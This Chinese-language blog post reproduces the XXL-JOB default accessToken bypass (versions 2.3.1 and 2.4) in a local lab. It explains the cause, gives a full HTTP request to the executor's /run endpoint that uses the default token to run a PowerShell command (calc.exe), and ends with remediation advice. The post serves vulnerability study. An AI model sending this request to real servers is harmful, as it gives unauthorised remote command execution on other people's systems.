xxl-job預設accessToken命令執行漏洞復現

2023-11-02 15:00:21

起因:

昨天看見微步釋出XXL-JOB預設accessToken身份繞過漏洞,之前hw期間遇到過幾次,都沒弱口令和未授權,對其有點印象,遂復現一下。

漏洞影響:2.3.1和2.4

 環境準備:

1、下載即可:https://github.com/xuxueli/xxl-job/releases/tag/2.4.0

  將其匯入IDEA中,即可進行分析。環境要求:Maven3+、Jdk1.8+、Mysql5.7+

ps:關於IDEA和maven設定網上文章很多,不過多贅述。

2、mysql資料庫建立xxl_job資料庫,解壓下載的檔案將doc/db/下的tables_xxl_job.sql開啟執行裡面的sql指令碼。

3、設定對應的資料庫賬號密碼

 4、然後執行就可以了,需要用到8080、8081可以自己在application.properties裡面的server.port修改

 

漏洞分析復現:

 通過微步的漏洞通報說是

然後就看回到專案中看這個applictation.properties檔案,*.properties是spring專案中組態檔的字尾,設定資訊基本都在這個.peoperties檔案中。檔案位於src/main/resources/application.properties

 參照官方檔案中的:https://www.xuxueli.com/xxl-job/#%E6%AD%A5%E9%AA%A4%E4%B8%80%EF%BC%9A%E8%B0%83%E5%BA%A6%E4%B8%AD%E5%BF%83%E9%85%8D%E7%BD%AE%EF%BC%9A

 預設情況下是非空的,也就是xxl.job.accessToken=default_token,所以就是利用點在這裡。不知道作者這麼會給了個預設值,翻看之前的版本accessToken都為空,直到2.3.1後才出現預設值。

關於accessToken官方檔案也給出了樣例:https://www.xuxueli.com/xxl-job/#%E5%85%AD%E3%80%81%E8%B0%83%E5%BA%A6%E4%B8%AD%E5%BF%83/%E6%89%A7%E8%A1%8C%E5%99%A8%20RESTful%20API

跟著樣例即可復現成功,需要注意的是這裡指令碼的選擇,由於我是win下執行的所以使用到了powershell。

ps:跟著樣例,跟著樣例,跟著樣例

POST /run HTTP/1.1
Host: 127.0.0.1:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
XXL-JOB-ACCESS-TOKEN: default_token
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Length: 365

{
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "SERIAL_EXECUTION",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_POWERSHELL",
  "glueSource": "calc.exe",
  "glueUpdatetime": 1586699003758,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

修復:

把accessToken置空就好啦,使用accessToken時設定強accessToken或隨機accessToken